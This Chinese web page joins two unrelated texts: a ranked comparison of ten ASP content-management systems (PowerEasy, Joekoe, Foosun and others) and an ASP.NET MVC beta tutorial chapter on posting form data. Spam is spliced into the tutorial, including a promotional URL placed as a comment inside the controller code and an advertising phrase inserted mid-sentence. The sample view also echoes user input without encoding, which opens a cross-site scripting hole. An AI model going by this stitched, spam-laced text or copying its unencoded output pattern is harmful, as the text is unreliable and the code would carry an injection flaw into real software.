十款ASP的内容管理系统(CMS)系统综合评比

第一名:动易 http://www.powereasy.net/



动易无疑是ASPCMS系统中的老大哥了,国内著名的站长综合网站“网页吧”采用的也是这套系统,这套国产AspCMS是一套非常强大的且人性话系统,一路走来,动易不断完善,而且也不断加强功能,包括个人版,学校版,政府版,企业版,后台包括的功能,信息发布,类别管理,权限控制,信息采集,而且跟第三方的程序,比如论坛,商城, blog可以完美结合,基本上可以满足一个中大型网站的要求,但Asp和Access的的局限性,还有本身功能Dll的限制,使得免费版差不多成鸡肋。这套系统比较适合非专业人士使用,在使用操作方面做的非常人性话,而如果说想自己修改或者二次开发的话就有点免为其难了。据说,现在已经开源并改名为:SiteWeaver
人气指数:★★★★★ 人性化指数:★★★★★ 适宜二次开发指数:★★
适宜人群:不需要对网站程序修改者,适宜网站类型:各类网站

第二名:乔客 http://www.joekoe.com/



乔客从最早的整站系统,到V系列,再到CMS1.0/1.2/2.0/3.0,一路走来经历不少波折,从早期的大红大紫到被动易的迎头赶上如今似乎一直处于压抑状态,3.0的使用者了了无几,远不如1.2受欢迎,但饿死的骆驼比马大,这位ASPCMS界中元老级别的系统在不断的探索着CMS新的出路,其系统最大的特点是整合了各类的程序模块,有自带论坛,博客圈,影视频道,音乐频道,下载频道,新闻频道等等,非常适合需要多种模块而不想整合的人使用。其4.0版本也将在一片期待声中发布,新版本的开源特性是最大的期待。
人气指数:★★★★ 人性化指数:★★★★ 适宜二次开发指数:★★★
适宜人群:不需要对网站程序做较大改动者,适宜网站类型:各类网站

第三名:风讯 http://www.foosun.cn/



风讯的系统功能强大,自由度高,是现在人气比较高的系统之一,可以根据自己的想法做出一个网页从而建立一个有自我风格的网站,更新速度快,一直有新的版本出现,现在又开放采集、下载、投稿、图片整站管理系统,第三方整合等功能,开源是它最大特点,希望保持。然后缺点就是后台人性化差了一点,上手有点难度,而且连一套默认的模板都没有,因为自由度太高了,让一些新手更难上手,其最新的4.0版本在个方面都有多提高,也是一款非常值得关注的CMS系统。
人气指数:★★★★ 人性化指数:★★★ 适宜二次开发指数:★★★
适宜人群:对HTML代码比较了解者,适宜网站类型:咨询类,下载类等

第四名:TSYS http://www.tsyschina.com/



非常遗憾的是从2.0beta版本发布后,作者就一下子人间蒸发了,但这并不影响这款优秀的网站内容管理系统所带给大家的惊喜,其独特的资源特性可以让你很方便的管理网站内的信息,方便信息在显示时候的重新整合,目前,由TSYS的爱好者已经发布了诸多的TSYS系统修改版,非常值得一用。
人气指数:★★★ 人性化指数:★★★ 适宜二次开发指数:★★★★
适宜人群:对HTML代码熟悉者,适宜网站类型:咨询类等

第五名:新云 http://www.newasp.cn/



新云最初做的是下载站,后来转为多模块的系统,最近发现有不少的网站都在使用。由文章、下载、商城、留言、用户管理五大功能模块和广告、公告、连接、统计、采集、模板管理、数据库管理等多个通用模块组成,而且功能确实有一些值得称道的地方,不过又是DLL的,免费版有不少的限制,但对一个简单基本的网站来说,功能够用了。
人气指数:★★★ 人性化指数:★★★★ 适宜二次开发指数:★★
适宜人群:不需要对网站程序做较大改动者,适宜网站类型:各类网站

第六名:科汛 http://www.kesion.com/



科汛是一套新出的网站系统,其功能非常强大,目前主流网站的功能在其系统内均能实现,具有强大的标签(JS)管理功能,个性化的标签(JS)参数配置功能,做一个个性的大站不再是梦想。网站整体开源,具有文章模块,图片模块,下载模块,动漫模块,音乐模块,会员模块,采集模块等等,功能非常不错。但其网站的整体概念脱离不了动易风讯的影响,不过就冲着科汛的诸多好用的功能,这款CMS也是非常值得关注的。
人气指数:★★★ 人性化指数:★★★★★ 适宜二次开发指数:★★★
适宜人群:不需要对网站程序做较大改动者,适宜网站类型:各类网站

第七名:创力 http://www.aspoo.com/



创力是一套无任何文件加密,不需要注册组件,不需要绑定域名,经过完善设计、精心打造的一个适用于各种服务器环境的安全、稳定、快速、强大、高效、易用、优秀的网站建设解决方案。系统功能齐全,集成文章、下载、图片、影视、商城、留言、用户等大模块,并可无限制N个与文章、下载、图片等模块相同的的模块,每个模块下更可无限栏目分类,加上Rss订阅、公告、广告、统计、关键字、友情链接、JS代码、站点地图……等等,与科汛一下,在网站的概念上没有创新,笔者认为应该属于同类CMS。
人气指数:★★★ 人性化指数:★★★★ 适宜二次开发指数:★★
适宜人群:不需要对网站程序做较大改动者,适宜网站类型:各类网站

第八名:JTBC http://www.jetiben.com/



JTBC也是一套新出的网站系统,值得关注的是其与其他CMS系统在概念上几乎完全不同,是一套可对现有模块进行扩充与克隆的网站系统,采用了UTF-8编码,是目前ASPCMS界中唯一一款真正意义上做到代码与程序全脱离的程序,采用了XML的散存储技术来存储各类信息,而且在代码与程序脱离的技术上,又加人了语言与代码脱离,语言与程序脱离的两两脱离关系,基于这种特性,JTBC就具有了非常强大的可扩充性和可二次开发性,JTBC可能对于未上手的人来说是一套很头大的系统,但对于熟悉的人而言使用起来非常有效率。
人气指数:★★ 人性化指数:★★★ 适宜二次开发指数:★★★★★
适宜人群:对HTML代码非常熟悉者,适宜网站类型:各类网站

第九名:KINGCMS http://www.kingcms.net/



KingCMS 3.0 是一款小巧、高效、人性化的CMS系统,生成HTML是整个系统最大的特点,文章与论坛都可以生成,大大的减少了对服务器的压力,基于xml名字空间样式的标签,调用简单,调用样式随意自如,在网站的概念上,可能与TSYS有相似之处,但在很多方面可能是有过之而无不及,是一款非常适合对HTML代码以及网站的概念已经比较清楚的用户。
人气指数:★★ 人性化指数:★★★★ 适宜二次开发指数:★★★★
适宜人群:对HTML代码熟悉者,适宜网站类型:咨询类等

第十名:Feitec http://www.feitec.com/



Feitec CMS 以其“上手容易、建站迅速、功能强大、个性设置”等特色吸引了不少中小型网站客户,获得了认可,凭借者多年来对于网站系统的认识,积累了不好有用的,人性化的网站设置方案。非常适合中小型网站使用,皮肤社定等诸多方面做的都很人性化与只能化,比较合适网站的初级使用者学习使用。
人气指数:★★ 人性化指数:★★★★ 适宜二次开发指数:★★★
适宜人群:不需要对网站程序做较大改动者,适宜网站类型:各类网站

第四篇:传递表单数据(MVC案例教程(基于ASP.NETMVCbeta))

摘要

      本文将完成我们“MVC公告发布系统”的公告发布功能,以此展示在ASP.NET MVC中如何传递处理表单的数据。

前言

     
通过前几篇文章,我们已经能比较自如的使用ASP.NET
MVC来呈现页面和数据了。但是,有一个大问题没有解决:如何处理表单数据。例如,我们将要实现的公告发布功能,用户肯定是在某个表单页面输入标题、正文
等内容,而后提交,然后表单数据要被传递到相应的地方交由业务逻辑组件处理。
     
在传统的ASP.NET下,使用的是Model1模式,每个aspx页面有一个同名的aspx.cs文件,当提交表单时,默认数据被提交到这个同名
aspx.cs文件中某个方法下处理。但是,在ASP.NET
MVC中,这种方法不能用了,因为我们换用了Model2模式,不能再用同名代码文件来处理aspx的提交请求(但是这不表明同名代码文件就没有用了,实
际上,它依然会被执行,但是我们不提倡在里面处理任何逻辑,但是,有时会利用它进行一些初始化操作。),那么应该怎么做呢?不多讲,我们以例子说明问题。
      下面我们一步一步完成“MVC公告发布系统”的公告发布功能,等做完这个功能,上面的问题就明了了。

先修改一个错误…

      这里,首先要像大家道歉,因为在第一篇里,我犯了一个错误。就是在公告的实体类AnnounceInfo中少了一个属性。现在,我们在AnnounceInfo中添加一个叫Cateogry的属性,类型为int,它用来指明这个公告属于哪个分类。
      对于这个错误,我十分抱歉。

建立输入信息页面

     
下面,正式开始我们的工作。首先,我要建立一个页面,用来让用户输入公告信息。而我们知道,在ASP.NET
MVC中不能直接请求aspx文件,任何请求都要通过Controller,所以,我们首先在Controllers目录下建立一个新的
Controller类,名叫AnnounceController。删除其中自动生成的Index方法,新建一个名叫Release的Action方
法,具体代码如下。
AnnounceController.cs:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Mvc.Ajax;
using MVCDemo.Models;
using MVCDemo.Models.Interfaces;
using MVCDemo.Models.Entities;

namespace MVCDemo.Controllers
{
    public class AnnounceController : Controller
    {
        public ActionResult Release()
        {
            ICategoryService cServ = ServiceBuilder.BuildCategoryService();
            List<CategoryInfo> categories = cServ.GetAll();
            ViewData["Categories"] = new SelectList(categories, "ID", "Name");
            return View("Release");
        }
    }
}

 

      这个就是要呈现表单页的Action方法,看看它做了什么:它首先取出所有的分类,然后将它们转成SelectList类型存入ViewData,最后呈现Release视图。
     

为什么要取出所有分类呢?因为我们在发布公告时希望有个下拉列表框列出所有公告名称,让用户可以选择要发布的公告属于哪个分类。而SelectList是
ASP.NET
MVC中用于绑定到下拉列表的类型。它有很多重载的构造方法,其中我使用的是三个参数的,它们分别表示:生成数据的枚举,绑定到value的字段名,绑定
到列表名称的字段名。这里,将把所有分类实体集合绑定到下拉列表,而ID属性作为值,Name属性作为显示在列表框中的名字。
      如果我们不需要下拉列表框来显示所有分类,那么Release方法只需一行return View(“Release”);就可以了。

      Action方法做完了,我们还需要视图。在Views目录下建立Announce目录,再在这个Announce目录下建立Release.aspx视图。代码如下。
Release.aspx:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Release.aspx.cs" Inherits="MVCDemo.Views.Announce.Release" %>
<%@ Import Namespace="MVCDemo.Models.Entities" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title></title>
</head>
<body>
    <% SelectList categories = ViewData["Categories"] as SelectList; %>
    <div>
        <h1>MVC公告发布系统——发布公告</h1>
        <% Html.BeginForm("DoRelease","Announce",FormMethod.Post); %>
        <dl>
            <dt>标题:</dt>
            <dd><%= Html.TextBox("Title") %></dd>
            <dt>分类:</dt>
            <dd><%= Html.DropDownList("Category",categories) %></dd>
            <dt>内容:</dt>
            <dd><%= Html.TextArea("Content") %></dd>
        </dl>
        <input type="submit" value="发布" />
        <% Html.EndForm(); %>
    </div>
</body>
</html>

 

     
代码不复杂,但是要注意几个地方。categories不多说了,这是刚才我们传递过来的所有分类组成的列表项。我觉得大家迷惑的可能是那些
Html.***的东西,其实,Html是ViewPage的中的一个对象(ViewPage是所有视图的基类),它主要的左右就是产生各种表单项(先这
么认为吧,其实它还有其他功能),例如Html.BeginForm就是说这里开始一个form标签,而Html.EndForm当然是form标签结
束。其他几个,看名字相信大家也猜出来了。
      至于为什么这么做,也不直接使用原始的HTML标签,我先不多说,以后大家做多了自然就理解了,目前大家只要知道,这样做可以避免一个url问题以及让url更灵活就行了。^_^
      回到这个页面,BeginForm有三个参数,分别是提交请求的Action名,提交请求的Controller名和请求方式。所以,这个页面的意思就是使用post方法请求http://localhost/Announce/DoRelease
这个Action来处理我们的请求。
     

页面中有三个输入表单和一个提交按钮。三个输入表单分别是:名叫Title的文本框,名叫Content的文本域和名叫Category的下拉列表框。注
意下拉列表是怎么绑定的,只要将含有数据的SelectList作为第二个参数就行了。完成后,页面是这样子的:



 
 
 
处理请求

      现在我们可以输入信息了,但是如果你输入后点提交,你会发现产生了经典的404错误。刚才我们说了,表单提交到的Action是Announce下的DoRelease,但是现在没有这个Action,当然会404了。下面,我们来建立这个处理程序。
      回到AnnounceController,新建Action方法DoRelease,具体代码如下。
AnnounceController.cs:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Mvc.Ajax;
using MVCDemo.Models;
using MVCDemo.Models.Interfaces;
using MVCDemo.Models.Entities;

namespace MVCDemo.Controllers
{
    public class AnnounceController : Controller
    {
        public ActionResult Release()
        {
            ICategoryService cServ = ServiceBuilder.BuildCategoryService();
            List<CategoryInfo> categories = cServ.GetAll();
            ViewData["Categories"] = new SelectList(categories, "ID", "Name");
            return View("Release");
        }
        //  http://www.my400800.cn
        public ActionResult DoRelease()
        {
            AnnounceInfo announce = new AnnounceInfo()
            {
                ID = 1,
                Title = Request.Form["Title"],
                Category = Int32.Parse(Request.Form["Category"]),
                Content = Request.Form["Content"],
            };

            IAnnounceService aServ = ServiceBuilder.BuildAnnounceService();
            aServ.Release(announce);

            ViewData["Announce"] = announce;
            return View("ReleaseSucceed");
        }
    }
}

 


     
我们看,它首先新建一个AnnounceInfo类型的实体类,用来存贮这个新的公告的信息。注意它是怎么得到表单信息的,对了,用了
Request.Form[“表单名”],这就是获得表单信息的一种方法,当然还有其他方法,但是我推荐这一种。注意,这里的表单名就是我们使用
Html.***方法生成表单时的名字。
      OK,下面就是调用业务逻辑组件,完成400电话
发布公告功能。
     
但是这里有个问题,我们的业务逻辑组件是Mock的,也就是说其实什么都没做啊。如果是真的业务逻辑组件,我们可以去数据库看看有没有添加公告信息成功,
可是这里没有,我们要怎么证明表单数据传递过来了呢?于是我想了一个办法,有新加了一个ReleaseSucceed视图,用来显示新发布公告的信息,以
此证明我们确实把表单信息传过来了。ReleaseSucceed视图如下:
ReleaseSucceed.aspx:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="ReleaseSucceed.aspx.cs" Inherits="MVCDemo.Views.Announce.ReleaseSucceed" %>
<%@ Import Namespace="MVCDemo.Models.Entities" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title></title>
</head>
<body>
    <% AnnounceInfo announce = ViewData["Announce"] as AnnounceInfo; %>
    <div>
        <h1>MVC公告发布系统——发布公告成功</h1>
        <dl>
            <dt>ID:</dt>
            <dd><%= announce.ID %></dd>
            <dt>标题:</dt>
            <dd><%= announce.Title %></dd>
            <dt>类别ID:</dt>
            <dd><%= announce.Category %></dd>
            <dt>内容:</dt>
            <dd><%= announce.Content %></dd>
        </dl>
    </div>
</body>
</html>

 


      这些代码就不用我过多解释了。下面,我们输入一些信息,提交看看:


 
 
      看到没有,我没有骗你们,表单数据真的传过来了!^_^|||

小结

     
通过这四篇文章,我们已经了解了ASP.NET
MVC的基本原理,并且已经会呈现数据页面及传递表单数据处理了。会了这些,其实已经可以应付绝大多数主要开发了。从下篇开始,我们接触一些高级点的内
容。下篇将说一下ASP.NET MVC如何与ASP.NET
AJAX及JQuery结合,再后面,会讲到拦截器及与Silverlight结合的内容。

  • 大小: 16 KB
  • 大小: 16.5 KB